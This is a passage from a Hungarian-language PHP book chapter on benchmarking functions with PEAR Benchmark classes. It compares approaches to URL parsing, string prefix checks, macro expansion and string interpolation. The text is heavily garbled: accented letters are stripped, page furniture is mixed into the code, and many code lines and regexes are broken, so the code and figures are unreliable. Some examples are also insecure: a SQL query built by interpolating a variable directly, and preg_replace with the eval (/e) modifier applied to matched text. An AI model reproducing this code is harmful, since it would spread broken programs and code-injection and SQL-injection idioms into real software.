for ($i = 1; $i <= $iterations; $i++) { $random_data = $argument_generator() ; $this->setMarker('start_' . $i); call_user_func_array($function_name, $random_data); $this->setMarker('end_' . $i); } } }

A mrrendszer terhelsnek levonsa


A mrrendszer resjrati" terhelst igen egyszeren megkaphatjuk, mindssze meg kell mrnnk, mennyi ideig fut, ha nem mr semmit - s ezt az rtket le kell vonni valdi mrsi eredmnyeinkbl. Mindezt megvalsthatjuk, ha ksztnk egy sajt osztlyt a Benchmark_Iterate bvtseknt, s itt kicserljk a run tagfggvnyt a sajtunkra, ami kiszmolja a nincs-mvelet (no-op) terhelst is az idmr indtsa s lelltsa kztt, me az osztly kdja:
<?

require_once 'Benchmark/Iterate.php'; class MyBench extends Benchmark_Iterate { public function run() { $arguments = func_get_args(); $iterations = array_shift($arguments) ; $function_name = array_shift($arguments) ; $arguments = array_shift($arguments) ; parent::run($iterations, $function_name, $arguments); $oh = new Benchmark_Iterate; for ($i = 1; $i <= $iterations; $i++) { $oh->setMarker('start_' . $i); $oh->setMarker('end_' . $i); } $oh_result = $oh->get(); $this->overhead = $oh_result['mean'] ; return(0); } public function get() { $result = parent::get(); $result['mean'] -= $this->overhead; $result['overhead'] = $this->overhead; return $result; } } ?>

496

PHP fejleszts felsfokon

j osztlyunkat egyszeren hasznlhatjuk korbbi pldnkban, mindssze ki kell cserlni a Benchmark_Iterate osztly minden megjelenst a programban: require "test_data.inc"; require "MyBench.inc"; $benchmark = new MyBench; print " size my_max max my_max/max\n"; foreach (array(10, 100, 1 00 0 ) as $size) { // Ksztnk egy tmbt a teszthez. // A Benchmark_Iterate // nem tmogatja, hogy minden ismtlshez // vletlen adatokat lltsunk el, // igy gyelnnk kell arra, hogy a $test_array tmbt hasznljuk // mindkt fggvny esetben $test_array = random_array($size) ; foreach (array('my_max', 'm a x ') as $func ) { $benchmark->run(1 00 0, $func, $test_array); $result = $benchmark->get() ; $summary[$func][$ si ze ] = $result['mean'] ;
}

printf("%5d % 6 . 6 f % 6 . 6 f % 3 . 2 f \ n " , $size, $summary['my_max'] [$s i ze ] , $summary['max'] [$si ze] , $summary['my_max'][$size]/$summary['max'][$size]);


}

Az eredmnyekbl vilgoss vlik, hogy a mrrendszer terhelse jelentsen eltolta a kapott adatokat: size 10 100 1000 my_max 0.000115 0.001015 0.011421 max 0.000007 0.000031 0.000264 my_max/max 16.41 33.27 43.31

Lthat, hogy eszerint a beptett lineris keress mg annl is hatkonyabb a felhasznli kdnl, mint ahogy azt korbban lttuk.

Idmrs gyors futs fggvnyeknl Amennyiben igen gyors fggvnyekkel foglalatoskodunk - pldul olyanokkal, amelyekben csak nhny alapmvelet tallhat - a terhels tbbnek ltszhat, mint a fggvnyhvs ideje (ami vgeredmnyben negatv tlagot eredmnyezhet). A lpsszm nvelse javthat a statisztikn, a szls esetek hatsnak cskkentsvel.

19. fejezet Szintetikus mrs: kdblokkok s fggvnyek rtkelse

497

Egyb idmrsi adatok


Sok esetben nem elgedhetnk meg azzal, hogy a fggvnyek erforrs-felhasznlsrl csak a vals idfelhasznls alapjn tjkozdjunk. Olyan rendszereken, amelyek tmogatjk a getrusage () hvst (a legtbb modern Unix rendszeren s a Windowsban a cygwin segtsgvel), rszletes adatokat kaphatunk a folyamatokrl a getrusage () PHP fggvnnyel, ami a 19.1. tblzatban lthat rtkeket adja vissza egy trstsos tmbben. 19.1. tblzat A getrusage() erforrsjellemzk.

A klnbz rendszerek ms s ms mdokon valstjk meg ezeket a szmllkat. A BSD rendszereken minden adat elrhet, mg a Linux 2.4-ben csak az ru_stime, az ru_utime, az ru_minf lt s az ru_maj f lt elrhet. Mindazonltal ezek alkalmazsa is rdekes eredmnyeket adhat. A szabvnyos microtime () alap idmrk hasznlatnl a fggvny futtatsa alatt eltelt faliraidt", vagyis a vals idt kapjuk meg. Amennyiben a rendszer egyidben egyetlen feladattal van elfoglalva, ezzel nincs semmi gond, de ez a helyzet a gyakorlatban igen ritkn fordul el. Itt is figyelembe kell vennnk, hogy mrseink viszonylagosak - ha a szabad processzorid azonos a mrsek kztt, a microtime () fggvny alkalmazsa rtelmes eredmnyeket adhat, de ha cscsok vagy sznetek vannak a rendszer aktivitsban, a mrs torzulhat. A felhasznli, il-

498

PHP fejleszts felsfokon

letve rendszerid adatai a getrusage kimenetben valban azt az idt adjk vissza, amit a fggvny felhasznli, illetve rendszerhvsokkal tlt. Ez sokkal jobb kpet ad a CPU erforrsainak valdi kihasznlsrl. Termszetesen 10 ms sszefgg CPU id egszen ms, mint kt klnll 5 ms-os rsz, s a getrusage nem kszbli ki a processzor gyorstrnak, illetve a regiszterek jrafelhasznlsnak hatst, ami eltr lehet klnbz rendszerkihasznltsgnl, s jtkony hatssal lehet a teljestmnyre. Ha ezeket az adatokat is be szeretnnk pteni mrsi rendszernkbe, egyszeren t kell rnunk a Benchmark_Timer osztlytl rklt setMarker tagfggvnyt, ami az adatgyjtsrt felel. Szksgnk van tovbb a get tagfggvny mdostsra is, hiszen itt kell rendeznnk a vgeredmnyben megadott adatokat. Mveleteink a kdban az albbi alakot ltik:

require_once 'Benchmark/Iterate.php'; class RusageBench extends Benchmark_Iterate { public function setMarker($name) { $this->markers[$name] = getrusage(); $this->markers[$name]['ru_utime'] = sprintf("%6d.%06d",$this->markers[$name]['ru_utime.tv_sec'], $this
->markers[$name] ['ru_utime.tv_usec']) ; $this->markers[$name]['ru_stime'] = sprintf("%6d.%06d",$this->markers[$name] ['ru_stime.tv_sec'] , $this ->markers[$name] ['ru_stime.tv_usec']) ; } public function get() { $result = array(); $total = 0; $iterations = count($this->markers)12 ; for ($i = 1; $i <= $iterations; $i++) { foreach( array_keys(getrusage()) as $key) { $temp[$key] = ($this->markers['end_'.$i][$key] - $this ->markers['start_'.$i][$key]); $result['mean'][$key] += ($this->markers['end_'.$i][$key] - $this ->markers['start_'.$i][$key]); } foreach ( array( 'ru_stime', 'ru_utime' ) as $key ) { $result['mean'][$key] += ($this->markers['end_'.$i][$key] $this->markers['start_'.$i][$key]); }

19. fejezet Szintetikus mrs: kdblokkok s fggvnyek rtkelse

499

$result[$i]
}

= $temp; { {

foreach( array_keys(getrusage() ) as $key) $result['mean'][$key] /= $iterations;


}

foreach ( array( 'ru_stime', 'ru_utime' $result['mean'][$key] /= $iterations;


}

) as $key )

$result['iterations'] return $result;


} }

= $iterations;

A kiegszt erforrsadatok beillesztsvel kiss elrontottuk" az API-t, hiszen a get () tagfggvny visszatrsi rtknek alakja megvltozott. A mean kulcs helyett, amely az tlagos vgrehajtsi idt tartalmazta, most egy trstsos tmbt kapunk az erforrs-hasznlati rtkek atlagaibl. j mrrendszernket azonnal ki is prblhatjuk - nzzk meg, mi trtnt a parse_url fggvnnyel a PHP 4.2.3-as s 4.3-as vltozata kztt. Ez a fggvny egy URL-t fogad, s egyszer sszetevire - szolgltats tpusa, URI, lekrdezsi karakterlnc stb. - bontja. A PHP 4.3.0 eltt szmos panasz rkezett arra, hogy e fggvny teljestmnye kritikn aluli. Utazzunk teht vissza a PHP 4.2.3 idejbe, s mrjk meg a parse_url teljestmnyt egy felhasznli megoldssal szemben:

require

'RusageBench.inc';

$fullurl =
"http://george:george@www.example.com:8080/foo/bar.php?example=yes#here"; function preg_parse_url($url) { $regex = !A (([A: /?#]+):)?(//(( [A/:?#@]+): ( [V:?#8]+)@)?([V:?#]*)'. ' (: (\d+))?)?(["?#]*) (\\?( [A#]*))?(#(*))?! '; preg_match($regex, $url, $matches); list(,,$url['scheme'],,$url['user'],$url['pass'],$url['hst'] , , $url['port'],$url['path'],,$url['query']) = $matches; return $url; } foreach(array('preg_parse_url', 'parse_url') as $func) { $b = new RusageBench; $b->run('1000', $func, $fullurl); $result = $b->get(); print "$func\t"; printf("System + User Time: %1.6f\n", $result[mean][ru_utime] + $result[mean][ru_stime]); }

500

PHP fejleszts felsfokon

A PHP 4.2.3-as vltozatn futtatva a laptopomon az albbi eredmnyt kaptam: PHP 4.2.3 preg_parse_url parse_url

System + User Time: 0 . 0 0 0 2 8 0 System + User Time: 0. 002110

Nos, ennyit arrl, hogy a beptett fggvnyek mindig gyorsabbak! A preg_match megolds egy teljes nagysgrenddel gyorsabb, mint a parse_url. Mi okozhatja itt a gondot? Ha megvizsgljuk a parse_url 4.2.3-as forrskdjt, lthatjuk, hogy a rendszer (POSIXmegfelel) szablyoskifejezs-knyvtrt hasznlja, s minden lpsben elvgzi a kvetkezket:

/* l-C kd*/ regex_t re; /* helyi hatkr szablyoskifejezs-vltoz */ regmatch_t subs[11]; /* felhasznli rtelmeznk $matches vltozjnak megfelelje */ /* a minta fordtsa*/ regcomp(&re, pattern, REG_EXTENDED); /* a szablyos kifejezs alkalmazsa a bemen karakterlncra, s az egyezsek elhelyezse a subs vltozban*/ regexec(&re, string, stringlen, subs, 0)
Ez teht azt jelenti, hogy minden lpsben jra lefordtjuk a szablyos kifejezst, mieltt alkalmaznnk. A felhasznli megolds a preg_match-et hasznlja, ami trolja a lefordtott szablyos kifejezst, gy ksbb is fel tudja hasznlni. A PHP 4.3.0-ban a parse_url fggvnyt nem a trolssal javtottk meg, hanem rtak egy j URL rtelmezt. Lssuk most ugyanezt a futtatst a PHP 4.3.0-ban: PHP 4.3.0 preg_parse_url parse_url

System + User Time: 0 . 0 0 0 2 1 0 System + User Time: 0 . 0 0 0 1 5 0

A beptett fggvny most gyorsabb - amint az rendjn is van. rdemes megjegyezni, hogy sajt megoldsunkat mindssze 30%-kal tudta megelzni. Mindez jl mutatja, hogy sszetett karakterlncok elemzsnl nehz tltenni a PCRE fggvnyek (vagyis a preg fggvnyek) teljestmnyn.

Mrsek a kdban
A mrsi eredmnyek folyamatos nyomon kvetse nagyszer lehetsget ad az alkalmazs egszsgi llapotnak" figyelsre. Ahhoz persze, hogy a hossz tv mrs sorn kapott adatok hasznosthatk legyenek, szabvnyostani kell a tesztjeinket. Ezt megtehet-

19. fejezet * Szintetikus mrs: kdblokkok s fggvnyek rtkelse

501

jk egy kln tesztrendszer ltrehozsval, de kiindulhatunk egysgtesztelsi tapasztalatainkbl is, s a mrseket elhelyezhetjk ugyanabban a fjlban is, ahol a tesztelend knyvtr is megtallhat. A beemelt fjlokat rendesen soha nem hajtjk vgre kzvetlenl, gy elhelyezhetnk bennk olyan mrsi kdokat, amelyek csak akkor futnak le, ha mgis kzvetlen vgrehajtsra kerl sor.
// url.inc function preg_parse_url() { // . . . } // ellenrizzk, hogy kzvetlen vgrehajtsrl van-e sz if( $_SERVER [ " PHP_SELF ' ] ==__ FIL___) { // ha igen, indulhat a mrs require 'RusageBench.inc; $testurl = "http://george:george@www.example.com:8080/foo/bar,php?example=yes#here"; $b = new RusageBench; $b->run(1000, 'preg_parse_url', $testurl); $result = $b->get();

printf("preg_parse_url(): % 1 . 6 f execs/sec\n", $result['mean']['ru_utime'] + $result['mean']['ru_stime']


}

);

Ha ezek utn valahol beemelik az url. inc fjlt, a program tugorja a mrsi ciklust, s a kd normlisan viselkedik. Ha azonban kzvetlenl meghvjuk a knyvtrat, a mrsi eredmnyekhez jutunk: $ php /home/george/devel/Utils/Uri.inc preg_parse_url(): 0. 000215 execs/sec

Mrsi pldk
Miutn megismerkedtnk a PEAR Benchmark rendszervel, s megtanultuk, miknt bvthetjk ignyeink szerint, alkalmazzuk tudsunkat nhny pldn is. Ahhoz, hogy egy program alkalmazsban valban jrtasak legynk, sok gyakorlatra van szksg klnsen igaz ez a mrprogramok esetben. Sok id s trelem - e kt felttel elengedhetetlen, ha apr mdostsokkal szeretnnk nvelni kdunk teljestmnyt. A hangols legnehezebb rszt nem kt megvalsts sszehasonltsa jelenti - e clra megfelel a korbbiakban kiptett eszkzkszlet. Az igazi nehzsget az okozza, hogy kivlasszuk a megfelel alternatvkat. Sajnlatos mdon itt nincs rosette-i k, amely azon-

502

PHP fejleszts felsfokon

nal megadn a megoldst - ha lenne, az egsz teljestmnymrs felesleges lenne. A lehetsges megoldsok megtallshoz tapasztalat s rrzs szksgeltetik, melyeket csak a gyakorlat edzhet igazn erss. Az albbiakban bemutatunk nhny pldt, de ha valban jrtassgra szeretnnk szert tenni e tren, rdemes sajt megoldsokkal is prblkoznunk. Kezdjk sajt knyvtrunk egy egyszerbb fggvnyvel, s jtsszunk el vele. Ne essnk ktsgbe, ha els prblkozsaink lassabb fggvnyeket eredmnyeznek - a nem mkd megoldsok megismerse sokat segt abban, hogy rrezznk, melyek lehetnek valban hatkonyak.

Karakterek keresse a karakterlncok elejn


A szvegfeldolgozsban gyakori feladat a karakterlncok elejn ll karakterek vizsglata. Sokszor alkalmazzk e clra a substr fggvnyt nem hozzrendel krnyezetben. gy pldul az albbi kddal kiolvashatjuk az sszes HTTP vltozt a $_SERVER-bl: foreach( $_SERVER as $key => $val) { if(substr($key, 0, 5) == 'HTTP_') { $HTTP_VARS[$key] = $val ;
} }

Jllehet a substr igen gyors, ismtld vgrehajtsa hosszadalmass vlhat (pldul ha egy nagy tmb elemeinek kivlasztsra hasznljk). Meglepnek tnhet, de tallkoztam olyan alkalmazssal, ami rosszul megvalstott karakterlnc-feldolgozsa kvetkeztben ideje jelents rszt a substr futtatsval tlttte. Ezen az alkalmazsi terleten a substr helyett hasznljuk inkbb az strncmp fggvnyt, amely sszehasonltja kt karakterlnc els n karaktert. Az albbi pldban sszevetjk a substr s az strncmp teljestmnyt a SCRIPT_ vltozk kivlogatsban a $_SERVER-bl: function substr_match($arr) { foreach ($arr as $key => $val) { if (substr($key, 0, 5) == 'SCRIPT_')
$retval[$key] =$val; } } } function strncmp_match($arr) { foreach ($arr as $key => $val) { if(!strncmp($key, "SCRIPT_", 5)) { $retval[$key] =$val; } } }

19. fejezet Szintetikus mrs: kdblokkok s fggvnyek rtkelse

503

require "MyBench.inc"; foreach(array('substr_match', 'strncmp_match') as $func) { $bm = new MyBench; $bm->run(100 0, $func, $_SERVER); $result = $bm->get();

printf("$func
}

%0 .6 f\n " ,

$result['mean']);

Az albbi eredmnyt kapjuk: substr_match strncmp_match 0.000482 0.000406

20%-os sebessgnvekeds nem cseklysg, klnsen gyakran futtatott kdoknl. De mirt lassabb ennyivel a substr az strncmp-nl? A substr helyet foglal a visszatrsi rtk szmra, kirja, s vgrehajtja az sszehasonltst, mg az strncmp egyszeren karakterenknt veti ssze a karakterlncokat. Jllehet a PHP elrejti a memriakezels rszleteit, a trfoglals azrt mg ott van. A sok ismtls sorn pedig a lefoglalt 6 bjtok kltsge szp lassan sszeaddik.

Makrkifejts
E pldban mrrendszernket egy sajt makrkifejt rendszer optimalizlsra hasznljuk. Egy ilyen rendszer szmos helyzetben j szolglatot tehet - pldul ha bizonyos korltozott programozsi lehetsgeket szeretnnk nyjtani egy tartalomkezel rendszerben, vagy elektronikus levlsablonokat kvnunk adni a felhasznlknak. A sablonokkal valami ilyesmit rhetnk el: Hello {NAME}! dvzljk a ( z ) {SITENAME} webhelyen! Azonostjhoz a(z) '{PASSWORD}' jelsz tartozik. E sablon kifejtse az albbi lehet: Hello George! dvzljk a ( z ) example.com webhelyen! Azonostjhoz a(z) 'foobar' jelsz tartozik. Makrinkat megvalsthatjuk keres- s cserekifejezsek trstsos tmbjeknt. Mindenekeltt ki kell olvasnunk a megfelel felhasznl ide kapcsold adatait az adatbzisbl: $result = mysql_query("SELECT * from user_profile where userid = $id"); $userinfo = mysql_fetch_assoc($result);

504

PHP fejleszts felsfokon

Az eredmnyhez hozzcsaphatunk mg nhny beptett cserekifejezst: $standard_elements = array('SITENAME' => 'example.com', 'FOOTER' => "Copyright 2004 Example.com" ); $macros = array_merge($userinfo, $standard_elements); A makr rtkhalmaznak meghatrozsa utn egy cserlfggvnyre is szksgnk lesz. Els, egyszer megkzeltsnkben vgighaladhatunk a halmaz elemein, folyamatosan vgezve a cserket: function expand_macros_vl(&$text, $macroset) { if ($text) { foreach ($macroset as $tag => $sub) { if (preg_match("A{$tag\}/ ", $text)) { $text = preg_replace(" / \ { $ t a g \ } / " ,
} } } }

$sub,

$text);

Az eljrs magja az albbi sor, amely a cserket vgzi a megadott szveg egyes cmkiben: $text = preg_replace("A{$tag\}/", $sub, $text); Kszthetnk egy egyszer ellenrz osztlyt, amellyel biztostjuk, hogy minden megoldsi mdozatunk azonos eredmnyt adjon: require "PHPUnit.php"; require "macro_sub. inc" ,class MacroTest extends PHPUnit_TestCase { public function MacroTest($name) { $this->PHPUnit_TestCase($name);
}

// ellenrizzk a makrk helyettestst public function testSuccessfulSub() { $macro_set = array( '/\{NAME\}/' => ' g e or g e ' ); $sample_text = "Hello {NAME}"; $expected_text = "Hello george"; $this->assertEquals($expected_text, expand_macros($sample_text,
}

$macro_set));

19. fejezet Szintetikus mrs: kdblokkok s fggvnyek rtkelse

505

// ellenrizzk, hogy a fggvny figyelmen kvl hagyja a makrnak // ltsz, de nem makr kifejezseket function testUnmatchedMacro() { $macro_set = array( 7\{NAME\}/' => 'george') ; $sample_text = "Hello {F00}"; $expected_text = "Hello {F00}"; $this->assertEquals($expected_text, expand_macros($sample_text, $macro_set));
} }

$suite = new PHPUnit_TestSuite('MacroTest'); $result = PHPUnit::run($suite); ech $result->toString(); Most pedig kvetkezzk a mrprogram. Olyan adatokat szeretnnk hasznlni, amelyek valsghen utnozzk a fggvny bemenett. Feltehetjk, hogy tlagosan 2 KB-os szveges zeneteket kapunk, makrhalmazunk pedig 20 elembl ll, melyek kzl tlagosan 5-t hasznlnak egy zenetben. A teszt kedvrt ksztsnk egy ilyen makrhalmazt 20 kulcs-rtk prbl:
$macros = array( 'F001' 'F002' 'F003' 'F004' 'F005' 'F006' 'F007' 'F008' 'F009' 'FOO10' 'F0011' 'F0012' 'F0013' 'F0014' 'F0015' 'NAME' 'NICK' 'EMAIL' 'SITENAME' 'BIRTHDAY' => => => => => => => => => => => => => => => => => => => => 'george@omniti.com', 'george@omniti.com', 'george@omniti.com', 'george@omniti.com', 'george@omniti.com', 'george@omniti.com', 'george@omniti.com', 'george@omniti.com', 'george@omniti.com', 'george@omniti.com', 'george@omniti.com', 'george@omniti.com', 'george@omniti.com', 'george@omniti.com', 'george@omniti.com', 'George Schlossnagle', 'muntoh', 'george@omniti.com', 'www.foo.com', '1 0 - 1 0 - 7 3 ') ;

506

PHP fejleszts felsfokon

Mintaszveg gyannt kszthetnk egy 2048 KB-os, vletlen szavakbl ll dokumentumot, melyben itt-ott szerepelnek a {NAME}, {NICK}, {EMAIL}, {SITENAME} s {BIRTHDAY} makrk. A mrs kdja ugyanaz, amit eddig is hasznltunk a fejezetben: $bm = new Benchmark_Iterate; $bm->run(1000, 'expand_macros_vl', $text, $macros); $result = $bm->get(); printf("expand_macros_vl %0.6f seconds/execution\n", $result['mean']) ;

Eredmnyknt a kvetkezt kapjuk: expand_macros_vl 0 . 00 1 03 7 seconds/execution

Els ltsra ez gyorsnak tnik, de msodpercenknt 100 jells rtelmezse nem mondhat tl j eredmnynek, van mit javtani. Elszr is, a preg_match meglehetsen bbeszd - egyszeren elvgezhetjk a cserket, s nem kell trdnnk a sikertelen ksrletekkel. Emellett a PCRE fggvnyek tmbket fogadnak mind a mintk, mind a cserekifejezsek vltoziknt. Ezt is kihasznlva az albbiak szerint rhatjuk t az eljrst: function expand_macros_y2(&$text, &$macroset) { if ($text) { preg_replace(array_keys($macroset), array_values($macroset),
} }

$text);

Ez nagyszeren mkdik is, mindssze eltte t kell alaktani a makrkat tisztn szablyos kifejezsekk: function pre_process_macros(&$macroset) { foreach( $macroset as $k => $v ) { $newarray["{"-$k."}"] = $v;
}

return $newarray;
}

19. fejezet Szintetikus mrs: kdblokkok s fggvnyek rtkelse

507

Megjegyzs Ha biztosak vagyunk SQL ismereteinkben, hasznlhatjuk az albbi lekrdezst: SELECT NAME 'A{NAME\}/' , FROM userinfo WHERE userid = $userid 'A{EMAILA }/'

E mdszer legnagyobb htrnya, hogy mindig jra kell kdolni a SELECT utastst, ha jabb oszlopok kerlnek a tblba. A SELECT * hasznlatnl ugyanakkor a makrk csodlatos mdon megjelennek a tbla frisstse utn.

Ez az albbiak tansga szerint 15%-os teljestmnynvekedst eredmnyez: $bm = new Benchmark_Iterate; $bm->run(1000, 'expand_macros_v2', $text, pre_process_macros($macros) ) ; $result = $bm->get(); printf("expand_macros_v2 % 0 . 6 f seconds/execution\n", $result['mean']); expand_macros_v2 0 . 0 0 0 8 5 0 seconds/execution

Mg tovbb javthatjuk kdunkat, ha megprbljuk kihasznlni a makrk szerkezett. Makrink ugyanis nem vletlenszer karakterlncok, hanem igenis hasonltanak egymshoz. Ahelyett teht, hogy mindegyikkhz kln szablyos kifejezst hasznlnnk, megkereshetjk ket egyetlen kifejezssel, s az eredmnybl hatrozhatjuk meg egy kulcs alapjn a cserekifejezseket: function expand_macros_v3(&$text, &$macroset) { if ($text) { $text = preg_replace("/\{([ A } ] + ) \ } / e " , " (array_key_exists('\\1' , \$macroset)?\$macroset['\\1']:'{'.' \\1' .'}')", $text);
} }

Az eljrs kzppontjban az albbi csere ll: $text = preg_replace("A ( [ " } ] + ) \ } / e " , " (array_key_exists('\\1' , \$macroset)?\$macroset['\\1']:'{'.'\\1'.'}')" . $text) ;

508

PHP fejleszts felsfokon

Jllehet az eljrs bonyolultnak tnhet, a mgtte hzd gondolat igen egyszer: minden olyan karakterlnc esetben, ami kdcmknek nz ki (vagyis egy kapcsos zrjelekkel krlvett sz), elvgznk egy kirtkelt csert. (A kirtkeltsgre a szablyos kifejezs vgn lthat e bet utal. Ilyenkor nem egyszeren behelyettestjk a szveget, hanem elbb alkalmazzuk a kifejezsre az eval () fggvnyt, s azutn ezt hasznljuk fel a helyettestsben.) A kirtkelt kifejezs megvizsglja, hogy a kdcmke eleme-e a makrhalmaznak, s ha igen, elvgzi a csert. Ezzel meggtoljuk, hogy a kdcmknek tn, de valjban nem ilyen szerepet betlt kifejezseket (pldul a JavaScript fggvnyeket) szkzzel helyettestsk. A mrsi eredmny ez esetben a kvetkez: expand_macros__v3 0. 0 00958 seconds/execution

Nos, ez meglehetsen furcsa. A kd javtsa" (amely kevesebb szablyos kifejezst keres) lassabb, mint az eredeti vltozat! Mi lehet a gond? A Perllel ellenttben a PHP-ben nincs lehetsgnk belltani azt, hogy a rendszer elszr kirtkelje a kifejezst, majd ismtelten ezzel vgezze el az sszehasonltst. A Periben ezt az s / $pattern/ $sub/eo; segtsgvel tehettk meg - itt az o mdost arra utastja a szablyos kifejezst, hogy a $sub-ot csak egyszer fordtsa le. A PHP rendelkezik hasonl fordtott" szablyoskifejezs-kezel kpessggel, melyet a preg_replace_callback () valst meg, de hasznlata szmos helyzetben elg nehzkes. Ha az eval fggvnyt hasznljuk egy PHP kdrszleten, a rendszer rtelmezi, lefordtja, majd vgrehajtja. Minl egyszerbb kdon alkalmazzuk, annl rvidebb id alatt kszl el. Ha az eval hasznlatnak kltsgt a lehet legalacsonyabbra szeretnnk leszortani a vgrehajtsonknti cserknl, megksrelhetjk a kdot egyetlen fggvnyhvsra zsugortani. Mivel a fggvny fordtsa a f beemelt fjl fordtsnl megtrtnik, gy nagyrszt megszabadulunk a hvsonknti fordts tbbletterhtl. me egy kirtkelt helyettests, amely egyetlen segdfggvnyt hasznl: function find_macro($sub, &$macros){ return array_key_exists($sub, $macros)?$macros[$sub]: "{$sub}";
}

function expand_macros_v4(&$text, &$macroset) if($text) { $text = preg_replace("/\{([ " } ] + ) \ } / e " , "find_macro('\\1' , $text);
} }

{ \$macroset)",

19. fejezet Szintetikus mrs: kdblokkok s fggvnyek rtkelse Bizonyra emlksznk a str_replace fggvnyre, amely - mint neve is mutatja az angolul tudk szmra - egy adott karakterlnc minden elfordulst egy msikra cserli. Mivel a cserekifejezsek nevei rgztettek, az str_replace idelis eszkznek tnik feladatunk elvgzsre. rdekes lehet teht ezt a megoldst is lemrnnk: function expand_macros_v5(&$text, &$macroset) { if($text) { $text = str_replace(array_keys($macroset), array_values($macroset), $text);
} }

509

Az elksztett vltozatokat ugyanazon a makr halmazon (20 makr, ebbl 5 szerepel a szvegben) futtatva a 19.2. brn lthat eredmnyekhez jutunk (klnbz zenetmreteknl):

19.2. bra A cserekifejezseket alkalmaz mdszer lineris nvekedsnek sszehasonltsa a preg_replace alap mdszer nem lineris nvekedsvel. Lthatjuk, hogy az str_replace () jobbnak bizonyult, mint a preg_replace (), amennyiben azonos mdon hasznltuk ket, de a PHP 4 cserekifejezseken alapul mdszere mg mindig vezet a vgn. Ennek az az oka, hogy ez utbbi csak egyetlen keresst vgez, szemben az str_replace () s a preg_replace () fggvnyekkel, melyek egyarnt count (array_keys ( $macroset) ) keresst hajtanak vgre.

510

PHP fejleszts felsfokon

rdekes gyakorlat lehet megtallni a $macroset s a szveg mretnek olyan egyttest, ahol mr rdemes a tiszta str_replace (PHP5) alap mdszert hasznlni. Sajt rendszeremen ez a hatr 4 KB-os vagy kisebb dokumentumoknl 10 makr volt. Mivel azonos API-kat hasznltunk az expand_macro () -megvalstsoknl, mg arra is lehetsgnk van, hogy dinamikusan vltsunk a mdszerek kztt a makrhalmaz mrettl fggen, br lehet, hogy ez mr kicsit tlzs. Annak oka, hogy az utbbi makrhelyettestsi mdszerek jobban mretezhetk, mint a tiszta preg_replace () s str_replace (), az, hogy ez utbbiak (M*N) mveletet ignyelnek. Ez azrt van, mert ezek az eljrsok vgigvizsgljk a teljes dokumentumot, keresve az egyes makrkat. Ezzel szemben a cserekifejezseket alkalmaz mdszerek (a 3- s 4. vltozat) csak O(N) keresst hajtanak vgre (mivel egyetlen mintra vadsznak a dokumentumban) s azutn egy sor (legfeljebb N) O(l) kltsg hastrtkkeresst vgeznek. Ahogy a makrhalmaz mrete cskken, a preg_replace () s az str_replace () kltsge egyre kzelt az 0(N)-hez, s az eval () hvsnak kltsge egyre szembetnbb lesz a cserekifejezst alkalmaz mdszereknl.

Beszrs vagy sszetzs?


A vltozk beszrsa a karakterlncokba az albbi pldval szemlltethet: $name = ' George ' ; $string = "Hello $name!\n"; Itt a $name aktulis rtke (' George ') bekerl a $string karakterlnc szerkezetbe, amely gy vgeredmnyben a Hello George! \n" rtket kapja. A fejezet elejn megemltettem mr, hogy a beszrs kltsge cskkent a PHP 4.3-as, illetve 5-s vltozatban. Ha ezt gy, ahogy van, elfogadnnk, azzal ppen e knyv alapgondolatnak mondannk ellent - ksztsnk ht egy rvid tesztet az igazsg felfedsre. A karakterlncok sszefzse s beszrsa egyarnt igen gyors mvelet a PHP-ben, hiszen mindkett nyelvi alapelem. Egyikk mkdshez sincs szksg fggvnyhvsra, s mindkett rvid utastssorozattal rhat le a PHP virtulis gpn. Gyorsasguk miatt, ha burkolfggvnyt ksztnk krjk, s ezt hvjuk meg a mrprogrambl, jelentsen eltorzthatjuk a valdi eredmnyeket. Mg a MyBench osztly hasznlata is torzulshoz vezetne, hiszen gy is szksg van felhasznli burkolfggvnyre. Mindezek miatt knytelenek vagyunk magunk elvgezni a bejrst egy sajt burkolfggvnyben (rvid ciklusban, fggvnyhvsok nlkl), s gy mrni az eredmnyt: require 'RusageBench.inc';

function interpolated($name, $iter) { for($ i = 0; $ i t er ; $ i + + ) { $string = "Hello $name and have a very nice day!\n";
} }

19. fejezet Szintetikus mrs: kdblokkok s fggvnyek rtkelse

511

function concatenated($name, $iter) { for($i=0;$iter; $i++) { $string = "Hello ".$name." and have a very nice day!\n"; } } $iterations = 100000; foreach(array('interpolated', 'concatenated') as $func) { $bm = new RusageBench; $bm-run(l, $func, 'george', $iterations); $result = $bm->get(); printf("$func\tUser Time + System Time: %0.6f\n", ($result[mean][ru_utime] + $result[mean][ru_stime])/$iterations); } Ha ezt a PHP 4.2.3-ban futtatjuk, az albbi eredmnyt kapjuk: PHP 4.2.3 interpolated concatenated

User Time + System Time: User Time + System Time:

0.000016 0.000006

PHP 4.3-ban az eredmny gy fest:


PHP 4.3 interpolated concatenated

User Time + System Time: User Time + System Time:

0.000007 0.000004

Br lthat, hogy a beszrs sebessge jelentsen ntt, az sszefzs segtsgvel mg mindig gyorsabban pthetjk fel karakterlncainkat dinamikusan. A 20. fejezetben megismerkednk a Zend Engine (a PHP szvben tallhat programmotor) felptsvel, s ennek kapcsn sz esik majd arrl, miben klnbzik a beptett s a felhasznli fggvnyek bels megjelentse.

Teljestmnyhangols - okosan

Aki teljestmnyhangolsra adja a fejt, meg kell ismerje Ahmdahl trvnyt. Gene Ahmdahl az IBM egyik szmtgptudsa volt, az S/360 nagygpsorozat egyik vezet tervezje, de hrnevt leginkbb a rla elnevezett trvnyrl kapta, amely a prhuzamosan futtatott programok sebessgnvelsre vonatkozik. A trvny szerint, ha egy program kt rsze klnbz sebessggel fut, a lassabb fogja meghatrozni a futsidt. A mi olvasatunkban ez a kvetkezt jelenti: a legnagyobb nyeresget a kd leglassabb rszeinek optimalizlstl vrhatjuk. Vagy mskpp: ne vrjunk sokat egy olyan kd optimalizlstl, amely eleve csak a futsid kis rszrt felels.

Bvthetsg

A PHP s a Zend Engine titkai


